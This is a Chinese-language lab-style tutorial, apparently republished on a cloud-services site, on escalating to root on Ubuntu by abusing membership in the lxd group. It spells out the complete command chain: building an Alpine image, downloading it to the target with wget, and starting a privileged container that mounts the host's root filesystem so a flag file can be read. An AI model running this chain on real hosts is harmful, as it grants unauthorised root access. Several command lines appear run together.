溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

使用LXD怎么實現(xiàn)權(quán)限提升功能

發(fā)布時間:2021-08-10 16:04:44 來源:億速云 閱讀:182 作者:Leah 欄目:編程語言

使用LXD怎么實現(xiàn)權(quán)限提升功能,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

LXD和LXC

Linux Container(LXC)通常被認為是一種輕量級虛擬化技術(shù),它介于Chroot和完整開發(fā)的虛擬機之間,LXC可以創(chuàng)建一個跟正常Linux操作系統(tǒng)十分接近的環(huán)境,但是不需要使用到單獨的內(nèi)核資源。

Linux Daemon(LXD)是一個輕量級容器管理程序,而LXD是基于LXC容器技術(shù)實現(xiàn)的,而這種技術(shù)之前Docker也使用過。LXD使用了穩(wěn)定的LXC API來完成所有的后臺容器管理工作,并且增加了REST API支持,更進一步地提升了用戶體驗度。

容器技術(shù)

所謂的容器技術(shù),也就是在主機操作系統(tǒng)中創(chuàng)建一個隔離的環(huán)境,以允許某個進程或應(yīng)用程序在一個不影響主操作系統(tǒng)以及其他進程的環(huán)境下運行。

使用LXD怎么實現(xiàn)權(quán)限提升功能

技術(shù)實現(xiàn)要求

目標主機系統(tǒng):Ubuntu v18.04

攻擊者設(shè)備:Kali Linux或其他設(shè)備

直奔主題

接下來,我們開始操作!   

大家可以看到,我們已經(jīng)在主機設(shè)備中創(chuàng)建好了一個名叫“raj”的本地用戶賬號:

使用LXD怎么實現(xiàn)權(quán)限提升功能

LXD安裝與配置

執(zhí)行下列命令完成LXD的安裝:

apt install lxd

使用LXD怎么實現(xiàn)權(quán)限提升功能 

當然了,你還需要為LXD安裝一些依賴組件:

apt install zfsutils-linux

使用LXD怎么實現(xiàn)權(quán)限提升功能 

接下來,配置“raj”用戶賬號,將“raj”添加進LXD組中,執(zhí)行下列命令:

usermod --append --groups lxd raj

使用LXD怎么實現(xiàn)權(quán)限提升功能

驗證用戶“raj”是否已是LXD組的成員:

使用LXD怎么實現(xiàn)權(quán)限提升功能

現(xiàn)在我們需要配置LXD,我們可以使用命令“l(fā)xd init”來開啟LXD初始化進程。在初始化的過程中,程序?qū)脩暨x擇某些配置選項,其中的大多數(shù)選項都可以直接使用默認配置。不過在后端存儲選項中,我們需要選擇“dir”,而不要選擇“zfs”。

使用LXD怎么實現(xiàn)權(quán)限提升功能

配置好LXD之后,你需要使用LXC創(chuàng)建一個容器。這里我們?yōu)椤癠buntu:18.04”創(chuàng)建了一個容器,并命名為了“intimate-seasnail”。配置完成之后,我們可以使用lxc list命令來查看所有可用的容器:

lxc launch ubuntu:18.04lxc list

使用lxc exec命令即可與容器建立連接,該命令需要提供目標容器名稱:

lxc exec intimate-seasnail -- /bin/bash

進入容器之后,命令行終端的Shell界面如下:

權(quán)限提升

利用LXD來實現(xiàn)提權(quán)需要我們能夠訪問目標設(shè)備的本地賬號,因此我們選擇使用SSH來連接并訪問目標設(shè)備的本地賬號。 這里需要注意的是,我們的目標用戶賬號必須是LXD組的組成員。

ssh raj@192.168.1.105

使用LXD怎么實現(xiàn)權(quán)限提升功能

為了將我們的用戶賬號提升為root權(quán)限,我們還需要為LXD創(chuàng)建一個鏡像文件,操作步驟如下:

首先,攻擊者需要在自己設(shè)備上進行如下操作:

1、通過git將構(gòu)建好的alpine鏡像克隆至本地;

2、執(zhí)行“build -alpine”命令完成最新版本的Alpine鏡像構(gòu)建,此操作必須由root用戶完成;

3、將tar文件發(fā)送至目標設(shè)備;

接下來,我們需要在目標設(shè)備上進行如下操作:

1、下載Alpine鏡像;

2、為LXD導(dǎo)入鏡像;

3、在新的容器環(huán)境中初始化鏡像;

4、在/root目錄中加載容器;

那么接下來,我們先從GitHub庫下載構(gòu)建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine


使用LXD怎么實現(xiàn)權(quán)限提升功能

運行完上述命令之后,會在當前目錄下創(chuàng)建一個tar.gz文件,之后我們需要將其發(fā)送至目標系統(tǒng):

python -m SimpleHTTPServer

使用LXD怎么實現(xiàn)權(quán)限提升功能

另一方面,我們還需要將alpine鏡像發(fā)送至目標系統(tǒng)的/tmp目錄中:

cd /tmpwget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz

鏡像構(gòu)建完成之后,我們就可以將其以鏡像的形式添加進LXD了:

lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage

使用“l(fā)ist”命令即可檢查可用的容器列表:

lxc image list

使用LXD怎么實現(xiàn)權(quán)限提升功能

lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/shId

進入容器之后,定位到/mnt/root即可查看目標主機設(shè)備的所有資源。運行了Bash腳本之后,我們將得到一個特殊的Shell,也就是容器的Shell。這個容器中包含了目標主機的全部資源,我們可以嘗試枚舉或搜索flag文件:

mnt/root/rootlsflag.txtcat flag.txt

使用LXD怎么實現(xiàn)權(quán)限提升功能

關(guān)于使用LXD怎么實現(xiàn)權(quán)限提升功能問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

lxd
AI